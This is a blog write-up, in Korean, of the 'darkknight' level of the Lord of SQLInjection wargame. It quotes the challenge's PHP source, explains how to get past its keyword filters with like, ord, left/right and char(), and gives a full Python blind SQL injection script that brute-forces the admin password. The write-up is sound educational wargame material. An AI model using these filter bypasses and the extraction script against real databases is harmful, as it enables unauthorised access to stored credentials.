[LORD OF SQLINJECTION] Darkknight Write-Up

· omacs's blog

#writeup #wargame #los

# Contents

  1. Problem Description and Analysis
  2. Exploit
  3. References

# Problem Description and Analysis

본 문제는 다음과 같이 제시된다[1]:

 1<?php 
 2  include "./config.php"; 
 3  login_chk(); 
 4  $db = dbconnect(); 
 5  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
 6  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
 7  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
 8  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
 9  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
10  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
11  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
12
13  $_GET[pw] = addslashes($_GET[pw]); 
14  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
15  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
16  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
17  highlight_file(__FILE__); 
18?>

제시된 문제를 살펴보면 single quote, substr, ascii, 등호가 필터링됨을 알 수 있다. 따라서 no parameter에 SQLi를 해야 하고, substr은 right와 left 함수로, ascii는 ord 함수로, 등호는 like를 사용하여 우회할 수 있음이 알려져 있다. 그리고 SQLi query에서의 single quote는 char 함수를 이용하여 우회할 수 있다.

# Exploit

SQLi 절차는 pw paremter의 길이를 얻고 각 문자의 비트 길이를 얻은 후에 bruteforce 공격을 수행하는 것이다. 이를 코드로 구현하면 다음과 같다:

 1import requests
 2
 3def get_request_response(arg_url, arg_header):
 4    response = requests.get(arg_url, headers=arg_header)
 5    return response.text
 6
 7def build_query_pwlen(arg_url, arg_pwlen):
 8    query = f"{arg_url} or 1 like 1 and id like(char(0x61, 0x64, 0x6d, 0x69, 0x6e)) and length(pw) like {arg_pwlen}-- "
 9    return query
10
11def get_pwlen(arg_url, arg_header):
12    password_length = 0
13    while True:
14	query_url = build_query_pwlen(arg_url, password_length)
15	query_result = get_request_response(query_url, arg_header)
16	if "<h2>" in query_result:
17	    break
18	password_length += 1
19    return password_length
20
21def build_query_bitlen(arg_url, arg_loc, arg_bitlen):
22    query = f"{arg_url} or 1 like 1 and id like(char(0x61, 0x64, 0x6d, 0x69, 0x6e)) and length(bin(ord(right(left(pw, {arg_loc}), 1)))) like {arg_bitlen}-- "
23    return query
24
25def get_charset(arg_url, arg_header, arg_pwlen):
26    bit_length = 0
27    bit_length_lst = []
28    for i in range(1, arg_pwlen + 1):
29	bit_length = 0
30	while True:
31	    query_url = build_query_bitlen(arg_url, i, bit_length)
32	    query_result = get_request_response(query_url, arg_header)
33	    if "<h2>" in query_result:
34		bit_length_lst.append(bit_length)
35		break
36	    bit_length += 1
37    return bit_length_lst
38
39def build_query_pwchar(arg_url, arg_loc, arg_pwchar):
40    query = f"{arg_url} or 1 like 1 and id like(char(0x61, 0x64, 0x6d, 0x69, 0x6e)) and ord(right(left(pw, {arg_loc}), 1)) like {arg_pwchar}-- "
41    return query
42
43def get_pw(arg_url, arg_header, arg_pwlen, arg_bitlen_lst):
44    password_lst = []
45    for i in range(1, arg_pwlen + 1):
46	for j in range(0, 1 << (arg_bitlen_lst[i - 1] - 1) + 1):
47	    query_url = build_query_pwchar(arg_url, i, j)
48	    query_result = get_request_response(query_url, arg_header)
49	    print(f"query url: {query_url}")
50	    if "<h2>" in query_result:
51		print(j)
52		password_lst.append(j)
53		break
54	if j == 1 << (arg_bitlen_lst[i - 1]):
55	    print('Not found')
56	    break
57    return password_lst
58
59if __name__ == "__main__":
60    url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=haha&no=1'
61    header = { 'cookie': 'PHPSESSID=lijfnlfa1if65a714afusnarah' }
62
63    print('---[ Stage 1: Get password length')
64    password_length = get_pwlen(url, header)
65    print(f"Password length: {password_length}\n")
66
67    print('---[ Stage 2: Check character set')
68    bit_length_lst = get_charset(url, header, password_length)
69    print(f"Bit length list: {bit_length_lst}")
70
71    print('---[ Stage 3: Bruteforce password')
72    password_lst = get_pw(url, header, password_length, bit_length_lst)
73    password_string = [chr(x) for x in password_lst]
74    print(f"Password: {password_string}")

# References

  1. "darkknight," LORD OF SQLINJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 12, 2024].